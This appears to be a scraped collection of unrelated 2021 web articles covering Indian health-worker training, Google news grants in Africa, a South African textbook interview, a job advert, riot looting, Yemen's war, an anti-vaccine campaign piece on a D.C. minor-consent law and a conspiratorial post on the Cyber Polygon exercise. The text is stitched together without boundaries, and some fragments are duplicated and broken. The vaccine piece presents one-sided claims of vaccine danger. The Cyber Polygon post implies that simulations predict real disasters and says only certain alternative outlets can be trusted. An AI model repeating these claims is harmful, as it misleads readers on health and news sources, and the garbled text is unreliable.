Assessing the current scenario and the strain on the healthcare infrastructure, Prime Minister (PM) Narendra Modi has recently launched Customised Crash Course programme for COVID-19 frontline workers. The programme will be conducted in 111 training centres spread over 26 states. About one lakh frontline workers will be trained in this initiative.

Training will be imparted to COVID warriors in six customised job roles namely Home Care Support, Basic Care Support, Advanced Care Support, Emergency Care Support, Sample Collection Support, and Medical Equipment Support. It will also include fresh skilling as well as upskilling of those who have some training in this type of work. This campaign will give fresh energy to the health sector frontline force and will also provide job opportunities to our youth.

"Given the size of our population, it is necessary to keep increasing the number of doctors, nurses and paramedics in the health sector, stated PM Modi in a video conference during the launch.

The pandemic and the current state of healthcare infrastructure has created opportunities where technology companies, specialists and content creators are converging to create the infrastructure of the future for up-scaling of healthcare workers. This isnt going to be an easy task and there are several challenges that the healthcare sector is currently facing and will face in the future.

Challenges in bridging the shortfall

Education and training are options that can help overcome the shortage of skilled healthcare workers. Especially in COVID-19 wards, not all nurses are trained for the job. In such cases, crash courses for qualifying nurses to work in ICU wards will help curb the shortage.

Dr KM Cherian, Chairman & CEO, Frontier Lifeline Hospital, Tiruvallur asserts, We need to look at the education and learning opportunities for aspiring professionals. The cost of education is so high, that only few are able to afford it. The infrastructure at Govt institutions teaching medicine, needs to be revamped. Also, documentation and preserving knowledge for future generations is very important, so future students and professionals can learn from it.

It is imperative to make provisions in the annual budget to address this issue by providing funds for skilling in educational institutions- both private and public. An association should be formed with skill institutions to devise various programmes across all specialities to address the skill gap. These initiatives have to be conducted at district levels by every state to ensure that everyone has access to quality healthcare, concludes Dr Cherian.

Digital Health, including healthcare informatics, has a profound impact on the quality of care and efficiency of healthcare delivery. Consequently, there is substantial focus globally on enhancing Digital Health and Informatics. In India too, the launch of the National Digital Health Mission (NDHM) in 2020 is expected to drive Digital Health adoption at a national scale.

The Indian Institute of Technology (IIT) Bombay has set up the 'Koita Centre for Digital Health' (KCDH) with a generous contribution received from its alumni Rekha and Rizwan Koita, under the aegis of the Koita Foundation. KCDH will be conducting industry / outreach programmes for healthcare and industry professionals in digital health and enable them to act as force-multipliers.

Founded in 2015, Virohan a tech-based company uses technology to train allied healthcare workers across the country, including lab technicians, operation theatre technicians etc. Using their ed-tech model, the company is providing hundreds of lab technicians, emergency medical lab technicians, operation theatre technicians in various districts of India every month.

Nalin Saluja, Co-Founder & Chief Technology Officer, Virohan, Gurugram is of the opinion that there is a need for trustworthy and reliable healthcare in India and it is needed today but healthcare infrastructure usually takes time to build.

Saluja states, We are using technology to train the healthcare workers that doctors can rely on more and more because we provide trained allied healthcare professionals, that is how we are enabling each doctor to attend to more patients. In the crisis facing our country today this is the fastest way of scaling up the availability of healthcare workers to each Indian. Lets just not put beds but that there is a trained healthcare worker by each and every one of them.

The answer to creating a high scale workforce and in the numbers needed may well reside with new flag bearers. India is producing unicorns and successful online education companies by dozens. Edu-tech has arrived and it is the apt time to extend into the healthcare domain. With online, on demand and high speed access, upscaling of healthcare workers can be done with just a tap.

Ashvini Danigond, Executive Director & CEO, Manorama Infosolutions, Kolhapur, says, Continuing medical education (CME), learning new skills and in real time will not just enhance people skills but may well change health outcomes in certain cases. The acceleration of technology adoption of augmented, virtual reality, artificial intelligence (AI), blockchain and IoTs means that up-skilling of healthcare workers will be driven out of innovative and new age companies.

She further adds, The doctor to patient ratio is woefully low, just 0.7 per thousand people. The inadequate access of healthcare is further compounded by the fact that healthcare workers and Indian healthcare infrastructure are predominantly located in the large cities and large towns.

The healthcare sector has sacrificed a lot to save the citizens of the country, yet there have been multiple incidents of violence against healthcare providers. This action of violence, inculcates a sense of fear in people who want to pursue a career in this field. This could also be one of the factors that leads to shortage of skilled healthcare workers. There is a need for strict laws and policies for crime committed against medical professionals.

There should be a provision in place for compensation and morale boosting. In spite of saving peoples lives, doctors and medical professionals such as nurses and diagnosticians are not compensated properly. Government should provide incentives to healthcare workers, especially to those who work in the COVID-19 wards to keep their morale high.

Prabhat Prakash

(prabhat.prakash@mmactiv.com)
Google has announced the names of 22 media innovators set to receive $2.1m in funding through the second Google News Initiative (GNI) Innovation Challenge for Africa, the Middle East, and Turkey.

New Google report reveals a booming African mobile app market AppsFlyer has launched a report with Google that reveals a booming African mobile app market, propelled by a growing fintech space and more...

The Citizen Bulletin : Zimbabwe Centre for Media and Information Literacy is building a loyal audience around hyperlocal journalism. The project is an open-source WhatsApp bot for news distribution and audience engagement.





: Zimbabwe Centre for Media and Information Literacy is building a loyal audience around hyperlocal journalism. The project is an open-source WhatsApp bot for news distribution and audience engagement. Habari RDC : Habari Streaming is a mobile application in the Democratic Republic of Congo that offers subscriptions to videos and podcasts. In a plan to diversify their source of income, Habari RDC created a user experience platform that provides paid content to its users.





: Habari Streaming is a mobile application in the Democratic Republic of Congo that offers subscriptions to videos and podcasts. In a plan to diversify their source of income, Habari RDC created a user experience platform that provides paid content to its users. 263Chat : Radio is the most accessible medium for Zimbabweans. To reach new audiences, 263Chat has established a podcast network to provide an alternative media source.





: Radio is the most accessible medium for Zimbabweans. To reach new audiences, 263Chat has established a podcast network to provide an alternative media source. Eco-Nai+: Nigerias first digital geo-journalism platform providing access to interactive geo-data through web and mobile applications. Eco-Nai+, developed by Richmond Hill Media Limited (Ripples Nigeria), will host environmental data such as on drought, rainfall and erosion, while carefully tracking and making changes to environmental phenomena to help track climate change.



The full list of the selected projects for the 2021 GNI Innovation Challenge can be found on the GNI website. GNI is Googles effort to help news players in their transition to a digital future, focusing on three pillars: elevating and strengthening quality journalism, evolving business models to drive sustainable growth, and empowering news organisations, through technological innovation.

Applications for the second GNI Innovation Challenge opened in February and ran until 12 April 2021. A total of 329 established publishers, online-only players, news startups, publisher consortia and local industry associations applied, from 35 countries across the regions showing the diversity and the appetite for innovation of the news ecosystem. A rigorous review process, a round of interviews and a jury selection process followed, for the final selection of successful recipients.The vibrancy of the markets in the 14 countries, projects were selected from, could clearly be seen in the vast range of news players, topics and technologies considered, says Ludovic Blecher, head of innovation at Google News Initiative (GNI).In South Africa,, an online-only publisher, developed Scrolla.Africa, a data-light platform that makes news available to millions of people in southern Africa, who would otherwise be unable to afford data costs.Naij.com Media Limited ownerin Nigeria, was selected for ReCo, a solution that improves Internet user experience by making content recommendations based on user preferences on their home page and within articles.in Kenya is solving the challenges of declining revenue from legacy products and changing media consumption habits of audiences with The Messenger Reading Revenue Project.The applicants innovations addressed issues ranging from audience development to virtual reality storytelling and recipients were able to clearly demonstrate their commitment to diversity, equity and inclusion (DEI).We are excited about the 2021 GNI Innovation Challenge projects and we will be following their progress alongside that of previous recipients, who are already impacting the news ecosystem with initiatives that increase reader engagement and make for a more sustainable future for news, Blecher adds.A few other 2021 GNI Innovation Challenge recipients are:
The Covid-19 pandemic has presented significant change to many institutions in South Africa - education being one of them. The need for accessible education channels is necessary now more than ever, and new opportunities have presented themselves as a possible path forward.

Thabang Ramogase, chief marketing officer at Liberty Group

Tell us more about the textbook you have co-authored - Marketing to South African Consumers.

Free digital marketing textbook available for students A new locally produced university textbook is helping South African students learn about the intricacies of the local marketing landscape...

What was the inspiration behind writing the book?

What, in your opinion, is the role of marketing in shaping future brands?

What shift is necessary for education in South Africa in order to provide equitable access across the board, in your opinion?

Would you say that human brands are the brands of the future, and why?

What advice would you give to anybody trying to enter the field of marketing and branding?

Marketing to South African Consumers is a free to download textbook, co-authored by Thabang Ramogase, chief marketing officer at Liberty Group. The textbook is meant to provide access to marketing education for those who are not able to afford it, but want to pursue that education.We spoke with Ramogase to find out more about the book, education in South Africa and changes needed in South African marketingThe work is a new free to download textbook, which we are proud to say has achieved 14,000 downloads since its launch in February this year. The book, which is published by the UCT Liberty Institute of Marketing, forms part of an initiative to help relieve financial pressure on students by eliminating the cost of buying textbooks.I am delighted and honoured to be one of the executive members of the book's editorial committee, especially because of the uniqueness that the book offers. It's uniquely South African, and it was developed with the intention of shaping the future of our marketing discipline, so that future marketers can find ways to connect brands with people in ways that are currently unimaginable.The inspiration was to delve deeply into the robust marketing landscape while creating equity around South African brands. Most importantly, it's our way of helping relieve the financial pressure on students by alleviating the cost of buying textbooks, especially given the backdrop of the fees crisis being faced by students and tertiary institutions alike.Marketers need to understand that their role is to create an experience beyond the product. Increasingly, service and services are the 'product.' Consequently, trust has a game changing factor in determining how well these experiences are received.The gap between the brand promise and the brand experience is a challenge marketers are still grappling with. We need to get to a point where marketing permeates all the moving parts in solving business problems. We can do this by becoming more data driven AND intuitive in how the brand interacts with its clients to build equity for the future. The better we become at closing this crippling gap, the better equipped brands will be in the future.The advent of free open-source textbooks to address the access gap in education is a growing trend. However, corporates, government and NGOs have to collaborate more and do better to translate business needs to curriculums and then find and fund the resultant solutions.We must find ways to promote greater economic inclusion and transformation by looking for South African solutions, rather than simply following the rest of the world. Digital fixes are currently at the forefront of thinking, but we must remember that simple issues such as hunger, the winter cold and lack of access to healthcare still have to be tackled. South Africa is a land of polarity, being both relatively rich, yet relatively poor.Absolutely. A human first brand has the potential to thrive even amid global events that disrupt people's livelihoods. The pandemic has undoubtedly tested the humanity in brands to the limit, and we have learnt some tough lessons along the way in our journey of transformation. I can honestly say that for many of us marketers, the pandemic was the teacher and we were the students.Being a future-fit human brand means embracing the changing landscapes within our society, along with the challenges and opportunities these bring. The brands that embraced the opportunities the pandemic brought with it without losing their human essence are best placed for the future.Marketing as a discipline has evolved and it operates in an ecosystem of other business disciplines. My advice is simply that you need to be curious enough to understand the depth and breadth of marketing, be teachable enough to learn and unlearn and be brave enough to challenge the status quo, even beyond the typical marketing realm. It is a career that has gained entry into the C-suite, so be in it for the long-haul.Marketing to South African Consumers is available for free here , or can be downloaded from the UCT Liberty Institutes website here
SEO Content Writing Internship

Remuneration: R2000 - R6000 per month basic salary Benefits: Flexi-hours, birthday leave (you get the whole day off!) Location: Cape Town Education level: Degree Job level: Junior Type: Permanent Reference: #SEOWriting Company: Travel Tractions Pty Ltd

Job description

Research

Fact-checking

Data capturing

Content creation

Copywriting

Design

Editing

Proofreading

Link building

Emailing

Meeting deadlines

Administrative and other editorial tasks

Good communicator and works well in a team

Writing, editing, SEO, design, or social media experience

Attention to detail

Not afraid to ask questions

Quick-learner who is curious about the bigger picture

A fast-thinker who can work well under pressure

A go-getter who understands that deadlines need to be met

Problem-solving skills. Someone not afraid of researching solutions and troubleshooting issues

Company Description

Travel Tractions is looking for a talented, content-focused individual to join our fast-growing team. We offer internship positions teaching various areas of online marketing, with the possibility of freelancing and further employment. Depending on experience, skills, time availability, ability to provide value, and quick learning, financial incentives will start at R2,000  R6,000 monthly.If you think you are the correct person for the position, please use the link on our website, traveltractions.com, to apply for the position. No applications will be accepted via email.If you have not received a reply from us in two weeks, please be advised that your application was unfortunately unsuccessful. Should you not hear back from us in 14 working days, your application was unfortunately unsuccessful.Travel Tractions was born from a necessity to offer a better SEO and digital marketing service, and actually help businesses. Having been a travel SEO marketer and consultant for 10 years, Matt found there was no specific travel SEO service that explained exactly what they offered and delivered. Fiverr, Freelancer, and Upwork became tiresome to manage, with flakey freelancers and expensive mistakes. Fed up with paying other peoples school fees, Travel Tractions was created. Posted on 14 Jul 09:53
Via: Daily Mail:

Policemen in South Africa have been caught looting goods as the ransacking of stores and warehouses continued into a fifth day  with huge queues forming outside supermarkets amid fears of food shortages caused by the rioting.

Footage showed people accosting a man wearing a police jacket beside a hatchback filled with household supplies, including bread, milk and cooking oil. The woman filming says: This is a police officer, in uniform, looting  This is our SAPS (South African Police Service), guys.

A second video from the same woman showed another purported officer in plain clothes trying to hide his face from the camera after he was hauled out of his car by locals. His vehicle was laden with allegedly looted products, including a flat-screen television.

He has looted, he has threatened our lives with firearms, and this is all coming out of his Polo, the woman says as she films objects on the ground beside the open car boot.

The raging unrest first erupted last Friday after former president Jacob Zuma started serving a 15-month term for contempt, having snubbed a probe into the corruption that stained his nine years in power.

But the wanton lawlessness has lost any political motivation, with gang shoot-outs in the streets, people queuing up in their cars to loot warehouses and malls, and white farmers forming militias to defend their properties.

Law-abiding citizens were pictured this morning lining up outside a supermarket in Hillcrest in KwaZulu-Natal, trying to stock up amid fears of food shortages caused by the pillaging.

The National Hospital Network, representing 241 public hospitals, has warned it is running out of oxygen and drugs  most of which are imported from Durban which has been besieged by rioting.
This past year, we have seen many lawmakers in the U.S. and other countries vote to eliminate or severely restrict civil liberties in the name of the public health.1,2,3 One of the most outrageous legislative actions violating parental and human rights took place in Washington, D.C., in November 2020 when city council officials gave doctors the power to vaccinate children as young as 11 years old and hide what they did from parents.4,5,6,7,8

The D.C. mayor refused to veto the bill9,10 and, in January 2021, the U.S. Congress sat on its hands11,12 and gave tacit approval to enactment of the most dangerous child vaccination law in America.

In a breathtaking violation of medical ethics and several federal laws, the new vaccine concealment law in Washington, D.C., allows doctors to extract "informed consent" from young children too immature to know what informed consent13 means or what a vaccine reaction looks and feels like.14,15,16

The D.C. city council majority, with only three members dissenting, cruelly disempowered parents by voting to make it illegal for a doctor, insurance company or school administrator to divulge a child's vaccination history in records that can be seen by the child's mother or father.17

Parents Won't Have Information to Protect Child From Injury

An 11-year-old child does not know or understand his or her personal health history but most parent do. If a child has experienced previous vaccine reactions, has severe allergies or other health conditions that could increase vaccine risks,18,19 parents kept in the dark will not have a way to protect their child from further harm.

Parents who don't know which vaccines their children have been given will not be able to monitor them for signs of a potentially life-threatening vaccine reaction that requires immediate medical treatment.20 If the child is injured or dies after vaccination, parents will not know they must apply to the federal Vaccine Injury Compensation Program (VICP) before the filing deadline expires.21

Parents will not know their insurance company has been billed for vaccines. Parents will not know that a school the child attends is in possession of their child's secret vaccination records even when there is a vaccine exemption for religious belief reasons on file with the school.

This blatant violation of a parent's moral right and legal responsibility to make medical risk decisions on behalf of a minor child was endorsed by the American Academy of Pediatrics22 and pushed through by the D.C. city council, while the mayor and the US Congress looked the other way.

Washington, DC, Vaccine Concealment Law Violates Federal Laws

First, D.C.'s vaccine concealment law violates vaccine safety provisions of the National Childhood Vaccine Injury Act of 1986, a federal law that confirmed vaccine injuries and deaths are real and made preventing vaccine reactions a national priority.

Parents of DPT vaccine-injured children secured vaccine safety provisions in the 1986 Act, which directs doctors and other medical workers to give parents written vaccine benefit and risk information BEFORE a child is vaccinated23 and also mandates that vaccine providers record which vaccines the child is given in a record the parents can access.

Specifically, the 1986 Act mandates that "health care providers who administer a vaccine" must give a child's legal representative "a copy of the information materials" developed by the Centers for Disease Control "prior to the administration" of a vaccine.24,25

The 1986 law also requires each person administering a vaccine to "ensure that there is recorded in such person's permanent medical record or in a permanent office log or file to which a legal representative shall have access upon request" certain information:

No. 1: the date of administration of the vaccine; No. 2: the vaccine manufacturer and lot number of the vaccine; and No. 3: the name and address and, if appropriate, the title of the health care provider administering the vaccine."26

These informing and recording vaccine safety provisions were included in the 1986 Act specifically to provide parents with information they need to make well informed vaccine decisions for their minor children; to help parents recognize and prevent vaccine reactions; and to ensure a vaccine reaction is reported to the government's Vaccine Adverse Event Reporting System (VAERS).27,28

If a doctor can secretly inject a young child with one or more vaccines and hide the vaccination records, how will parents know what is happening when a vaccine reaction occurs? They won't have the information they need to take their child to an emergency room or be able to make the connection between the vaccinations and a child's regression into poor health.

This lack of critical information about their child's medical history also means parents will likely miss the deadline for filing a claim in the federal Vaccine Injury Compensation Program (VICP), which has awarded more than $4.5 billion to the vaccine injured over the past three decades.29

D.C.'s vaccine concealment law violates the Family Educational Rights and Privacy Act, known as FERPA, which guarantees parents the legal right to have access to their children's education records, including health and vaccine records, at the primary and secondary school level.30

Vaccine Concealment Law Violates Informed Consent Rights

D.C.'s vaccine concealment law also violates the long standing ethical principle of informed consent to medical risk taking,31 which has governed the ethical practice of human research and medical practice since the Nuremberg Code was published in 1947 after the Doctors' Trial.32,33

Informed consent is exercised on behalf of minor children by parents, who are morally and legally responsible for the well-being and financial support for their children until they are old enough to live independently.34,35,36

Child development specialists have documented how young children and teenagers lack the critical thinking skills and emotional maturity to exercise good judgment when assessing risks.37,38,39,40, Preadolescents are more susceptible to pressure from peers and authority figures.41,42,43,44

Vaccine Administrators Have No Liability for Injuries, Deaths

Doctors are the ultimate authority figures in our society today, and many are serving as authoritarian implementers of one-size-fits-all federal vaccine policies and state vaccine mandates.45,46

Like vaccine manufacturers, doctors and other persons who administer vaccines cannot be held liable in civil court when a child dies or is injured.47 Congress passed special legislation in 2020 to make sure that doctors or anyone else who administers a Covid-19 vaccine cannot be sued.48

When the risks of vaccination turn out to be 100 percent for a child, it is the mother and father raising that child on a day-to-day basis who will be left with the lifelong consequences  not the doctor who has been given the power to secretly persuade the child to take vaccines, and not the politician who voted to give doctors that power.

The D.C. council sponsor of the bill entitled the "Minor Consent for Vaccinations Amendment Act" originally wanted doctors to be able to vaccinate children of any age  no matter how young  without the knowledge or consent of their parents. She argued that minors of any age can get an abortion in Washington, D.C., and get treated for a sexually transmitted disease or substance abuse without the knowledge or consent of their parents.49

She told Medscape Medical News that parents with "anti-science" beliefs were not vaccinating their children based on a "disproven belief" that vaccines may cause harm, which puts other people at "extreme risk" for disease.50

A dissenting D.C. city council member countered with "Medical professionals and schools should not be permitted to coerce impressionable minors into procedures capable of causing injury or death behind their parents' back."51

Vaccine Concealment Law a Profound Betrayal of Public Trust

The Universal Declaration of Bioethics and Human Rights states that:52

"The interests and welfare of the individual should have priority over the sole interest of science or society;" and "For persons who are not capable of exercising autonomy, special measures are to be taken to protect their rights and interests;" and "Any preventive, diagnostic and therapeutic medical intervention is only to be carried out with the prior, free and informed consent of the person concerned, based on adequate information."

It is a profound betrayal of public trust for any city, state or federal government to strip parents of their God-given right to protect their children from harm by allowing a doctor to give a child a pharmaceutical product without getting a parent's permission.

Science is not perfect, doctors are not infallible, and pharmaceutical products like vaccines come with risks that can be greater for some individuals than others,53,54,55 which is why parents must retain the human right to exercise informed consent to medical risk taking on behalf of their minor children. Will the vaccine concealment bill that is now law in Washington, D.C., be exported to your state next?

Take Action Today to Protect Parental Rights

If you want to protect parental and informed consent rights, register for the free online NVIC Advocacy Portal today and stay up to date on vaccine laws being proposed in your state so you can contact your legislators and take positive action.

Never be the one who has to say you did not do today what you could have done to change tomorrow. It's your health. Your family. Your choice. And our mission continues: No forced vaccination. Not in America.
L-BAYDA, YEMEN  President Joe Biden gave a lot of people a sense of cautious optimism when he took to the campaign trail and promised to bring a swift end to the Saudi-led war on Yemen. The oil-rich monarchy, supported heavily by the United States, has been waging arguably the deadliest military campaign of the past decade on the forgotten country for over six years, exacting a brutal humanitarian toll on its civilian population.

To his credit, Biden sent Tim Lenderking to lead a team of negotiators in an attempt to broker reconciliation between the conflicts many belligerents. But without the political will to stand up to the Saudi monarchy and the varied American interests that profit handsomely from its wars, Lenderking had little chance of success. Now it seems the Kingdom  once again emboldened, armed, and covered by the United States  has all but abandoned any pretense of reconciliation and doubled down on its brutal war.

A Piercing Star falls to earth

Last week, the Saudi-led Coalition began a massive military operation theyre calling al-Najm al-Thaqib, which translates from Arabic into The Piercing Star. The operation ostensibly aims to recapture large swaths of territory in central Yemens al-Bayda province, which was captured by Ansar Allah after a series of long and grueling battles with militants from al-Qaeda on the Arabia Peninsula (AQAP) last fall. AQAP had been entrenched in the province for decades, somehow persevering through concerted military efforts by both the Saudi-led Coalition and at least four consecutive U.S. administrations to dislodge it  including Barack Obamas infamous drone war

On August 28, 2020, local tribal partisans backed by Ansar Allah defeated AQAP and myriad extremist allies, including elements of IS, in a week-long operation. This victory came just as AQAP was preparing to sweep the Yemeni provinces of al-Bayda, Dhamar, and Sanaa in an operation that aimed to repeat the scenarios seen in Mosul, Iraq and Raqqa, Syria, where ISIS was able to take and hold a so-called caliphate extending from western Iraq to into eastern Syria.

Al-Bayda and the surrounding provinces saw a state of relative calm in the wake of the operation, as residents experienced life without the yoke of al-Qaeda, some for the first time in their lives. Now, some of those residents fear that Saudi Arabia, backed by the United States, is attempting to resettle those groups in al-Bayda as a hedge against Ansar Allah.

Saudi jets have carried out scores of airstrikes in al-Bayda in recent weeks, flying in from the north to unleash tons of bombs made and supplied by the United States and giving AQAP a potential avenue to retake the province, as the airstrikes have targeted Ansar Allah and their local tribal allies almost exclusively.

According to the nonprofit Yemeni Executive Mine Action Center (YEMAC), American-made cluster bombs  which even the U.S. military has pledged not to use, due to their high rate of collateral damage  including the CBU-58, CBU-105, CBU-87, M26, and DPICM M77, have all been used in the offensive.

In a press conference, YEMAC displayed unexploded American bombs used in the operation, including the same GBU-39 and GBU-31 that were used with deadly effect in Israels recent attacks on Gaza. YEMAC held the press conference after an unexploded U.S.-made GBU-24 was recovered from a civil-defense building in Sanaa.

While there is not yet conclusive evidence of direct coordination between the Saudi Coalition and AQAP in the offensive, AQAP militants began pushing into al-Bayda from the south almost as soon as the Saudi airstrikes began. The southern villages of al-Zaher and al-Smah  including the areas of Jumaima, Wafaa, Sharadeh, al-Sous, Shabakat Dhi Madahi, Akrama, Shawkan and others  have already been recaptured by al-Qaeda according to a number of Saudi state-funded media outlets, which celebrated the putsch as a victory for the Saudi-led Coalition.

No Certain Victory

However, the celebrations were short-lived, as Ansar Allah has already begun to recapture areas it gained last August in a military operation it has dubbed al-Nasr al-Mubin, an Arabic phrase meaning Certain Victory. That operation has already seen the defeat of AQAP and militants allied with Saudi Arabia in the al-Zahir Directorate as well as dozens of military sites in the al-Dahaki and Al-Soma`h districts, and even areas that Ansar Allah failed to capture from AQAP during its August offensive, according to a statement it issued on Tuesday.

On Friday, the media bureau of the Houthis Operations Command Center published a video showing some of its victories in al-Bayda. Several senior AQAP commanders were killed or captured in the battles, including the infamous Abu Dharr al-Tayabi, Tawfiq al-Farawi and Othman Ahmad Abdullah al-Mushdali. A spokesman for Ansar Allah said:

Despite having mobilized members of al-Qaeda in the Arabian Peninsula (AQAP) and Daesh (IS) Takfiri terrorist groups, Saudi [Arabia] failed and has so far reaped nothing other than defeat on every front. The coalition has received severe blows in al-Bayda, even though it has hired al-Qaeda and Daesh terrorists.

But Ansar Allah is far from a decisive victory. Fierce clashes continue near Lahj province and coalition warplanes continue to pound al-Bayda.

US cooperation with a Jihadi recruiter

According to members of the Houthi negotiating delegation, who spoke to MintPress on condition of anonymity, the escalation in al-Bayda is being used to pressure Ansar Allah to halt its advance on the oil-rich Marib province and to force it to accept conditions that Saudi Arabia and Lenderkings envoy have imposed on Ansar Allah as a precondition for a peace deal.

For their part, the Houthis have promised to retaliate by resuming drone and ballistic missile attacks on Saudi oil and military targets in the Kingdoms southern provinces, according to Brigadier General Abed Al-Thor and General Aziz Rashid, who told MintPress that military pressure on the Kingdom will only be increased in the wake of the recent Saudi escalation.

The attacks on al-Bayda come in the wake of meetings between the Saudi-backed vice president of Yemen, Ali Mohsen al-Ahmar, and Vice Admiral Brad Cooper, commander of the U.S. Naval Forces Central Command and the U.S. 5th Fleet and Combined Maritime Forces. Cooper pushed for intelligence sharing and support for armed militant groups under the banner of curbing the arming of the Houthis by the Iranian government.

Al-Ahmar has been tied to various extremist groups in Yemen and, according to Reuters, The Muslim Brotherhood and other Sunni Islamists gained strength, particularly under  al-Ahmar, who built a power base in the army. Jihadist fugitives formed al Qaeda in the Arabian Peninsula (AQAP). According to a 2000 New York Times report, al-Ahmar even traveled to Afghanistan in the 1980s to meet Osama bin Laden, and assisted in recruiting militants from across the Muslim world for the Afghan struggle.

The U.S. has long been involved in the training and arming of militants in Yemen, whom it saw as a hedge against Ansar Allah. Al-Ahmar has publicly praised the U.S. for cooperating with him to combat what he called the Iranian project.

Grim prospects for peace

On July 1, U.S. State Department spokesman Ned Price said that the United States was beyond fed up with the Houthis advance in Marib and laid the blame for the humanitarian situation in Yemen squarely at the feet of the Houthis, claiming it was they who failed to work with the other parties  who are actively working towards peace, a reference to Saudi Arabia and its allies in the country.

Prices statements and the Biden administrations about-face on Yemen has raised questions among activists struggling to stop the war, especially as the U.S. has largely refused calls to stop arming Saudi Arabia amid a devastating civilian death toll, and now seems to be doubling down on its commitment to a military solution to the conflict, falling back on its habit of supporting armed militant groups that it used to devastating effect in Syria, Libya, Afghanistan and Iraq.

The Biden administration should have stopped providing weapons and training to the warring parties to ensure that the war would not continue, and not support one at the expense of the other, so logic and reality say, Dala al-Matari, an activist from the Stop the Bombing of Yemen campaign said. Like many Yemenis, al-Matari believes that President Biden used his seeming opposition to the highly controversial war as a trump card to boost his chances in last years presidential election.

For its part, Ansar Allah has outright accused the Biden administration of giving a green light to Saudi forces to attack al-Bayda so that it can more easily provide al-Qaeda and IS with weapons and intelligence information. Officials in Sanaa say the Biden administration is playing with fire by not only destroying peace efforts but also resettling and supporting al-Qaeda, especially amid a Taliban resurgence in Afghanistan.

Dhaif Allah al-Shami  the spokesman for the Sanaa-based Yemeni government run jointly by Ansar Allah and the General Peoples Congress, the largest political party in the country  said that the United States had run the recent military escalation in al-Bayda. He accused the Biden administration of being behind the plan, stating: The United States, which falsely and wrongly claims to be concerned with peace in Yemen, is [the one] fueling the bitter clashes in the al-Zahir district of the province.

Major General Nasser Al-Atif, minister of defense in the Ansar Allah-led government, said in a statement on Monday:

We have a new strategy to face the new Saudi escalation that will cost the coalition a heavy price if they continue to support terrorist elements, and this is something they should understand well. Saudi Arabia and the United States claim that they are keen on peace, stopping the war, and addressing the inhumane issues, but in fact they are talking all this just for media consumption and the exploitation of international and regional positions.

Feature photo | A Saudi-backed militant poses for a photo after surviving battle with Houthi fighters on the Kassara front line near Marib, Yemen, June 20, 2021. Nariman El-Mofty | AP

Ahmed AbdulKareem is a Yemeni journalist based in Sanaa. He covers the war in Yemen for MintPress News as well as local Yemeni media.
Cyber Polygon 2020  a simulation about a cyber pandemic  took place July 9, 2021. Many Americans felt widespread concern prior to the event.

Why is this? In short, because past simulations ended up becoming a reality. Could the Cyber Polygon simulation become a reality? Many Americans thought so. Derick Broze points out in his article that the world has experienced many simulations that came to fruition only a short time later.

For example, on October 18, 2019, the Bill and Melinda Gates Foundation, the World Economic Forum, and the John Hopkins Center for Health Security conducted Event 201. Event 201 was a simulation of how the world would react if a coronavirus pandemic swept across the planet. Less than six months later, the World Health Organization declared COVID-19 to be a pandemic.

Interestingly, just as Cyber Polygon was about to start, a real attack occurred. From NBC News:

One of the most prolific ransomware gangs, REvil, conducted its boldest attacks yet over the Fourth of July weekend, on Kaseya, which services customers who in turn contract with thousands of businesses. Though the dust has yet to settle, researchers say the hack allowed REvil to infect more than 1,500 different organizations. The gang seems to have bitten off more than it can chew and has asked for a $70 million lump sum to unlock all infected computers.

Cyber Polygon 2020 Digital Pandemic is Now Complete

Many may wonder just what in the world happened there. The convention was kind enough to publish the findings for the rest of us to peruse at our leisure.

As noted by the official website, The central theme of the event was a digital pandemic. No surprise to those of us who paid attention. Its because of this moniker that so many people have been concerned in the first place.

Videos published by the World Economic Forum set mental alarms off for Americans nationwide. According to this video, a cyber attack could be 10x more prevalent than what weve experienced with COVID-19. The narrator within the video states, Fortunately, at least until now, cyber-attacks have not impacted our health the way pandemics have. At least until now.

The video goes on to state, The only way to stop the exponential propagation of a COVID-like cyber threat is to fully disconnect the millions of vulnerable devices from one another and from the internet.

How Would a Full Disconnect Be Implemented and What Would the Effects Be?

One possible way would involve the use of an internet kill switch. Not only do those exist, but the US government has access to one. Theoretically, if you can turn off the internet, large segments of the population will be disconnected from one another. Meaning, what happens in one geographic region will go utterly unrecognized by citizens everywhere else.

Think about the practical implications of such. Think about the potential for further human rights violations. Perhaps a world where all news sources disappear overnight, with your favorite collectivist news agency being the only website still on the air?

Just Take a Look at Egypt in 2011

Protests by citizens fed up with the constant human rights violations they experienced under the current administration spread throughout the entire nation of Egypt in 2011. In an attempt to disband the protesters and keep them from organizing, Egypt hit its internet kill switch.

Egyptians responded by resorting to mesh networks such as Firechat (which is sadly now gone) to communicate with one another. Still, theres no doubt that the internet shutdown was a significant blow to both the people and their businesses.

Though the internet was dead for only five days, it cost the Egyptian economy approximately $90 million US.

Approximately 5 million People From 57 Nations Tuned in to the Live Stream

The Cyberpolygon 2020 live stream featured global leaders and experts, including Mikhail Mishustin, Prime Minister of the Russian Federation, and Klaus Schwab, Founder and Executive Chairman, World Economic Forum, as well as top officials from INTERPOL, ICANN, Visa, IBM, Sberbank, MTS and other organizations.

These leaders and experts spoke on the subject of cyber threats and cyber pandemics. But that wasnt all.

From the official website: The experts addressed the latest trends and technological threats, shared their experience in creating cybersecurity ecosystems, talked about the transforming threat landscape, and discussed the problem of fake news and how to discern misinformation on the Web

Coincidentally, one of the end goals of Cyber Polygon was to determine how to do a more thorough job of silencing all criticism that goes against the mainstream narrative.

If One Can Shut Down All Alternative Viewpoints, One Can Become the Sole Provider of Truth

If youre a regular reader of The Organic Prepper, youve already seen this up close and personal. We were defunded roughly just one month ago. Why? For being a misinformation site.

It doesnt matter how many scientists a person has to back up what they say. It doesnt matter how many links to scientific journals a person adds. If anyone dares go against what the politicians and their fact checkers deem to be correct, they will be silenced.

I believe alternative news sites are the only trustworthy source of news at the moment. Sites such as Zero Hedge, Childrens Health Defense, Daily Expose, Activist Post, The Last American Vagabond, Technocracy News, Survival Blog (and of course The Organic Prepper) are the only sites I trust to give me accurate information.

As far as Im concerned, all else is misinformation. Its propaganda.

However, these sources are just a fraction of the size of the major players (and you know who they are). If they are successfully stamped out, we will quickly end up in the type of situation warned of by FA Hayek in his excellent book The Road to Serfdom.

From Hayek: If all the sources of current information are effectively under one single control, it is no longer a question of merely persuading the people of this or that. The skillful propagandist then has the power to mold their minds in any direction he chooses, and even the most intelligent and independent people cannot entirely escape that influence if they are long isolated from all other sources of information.

(Hayek has much else to say about our current situation within the chapter The End of Truth. It virtually reads as a play-by-play of the last year and a half.)

Technical Training Followed the Live Stream

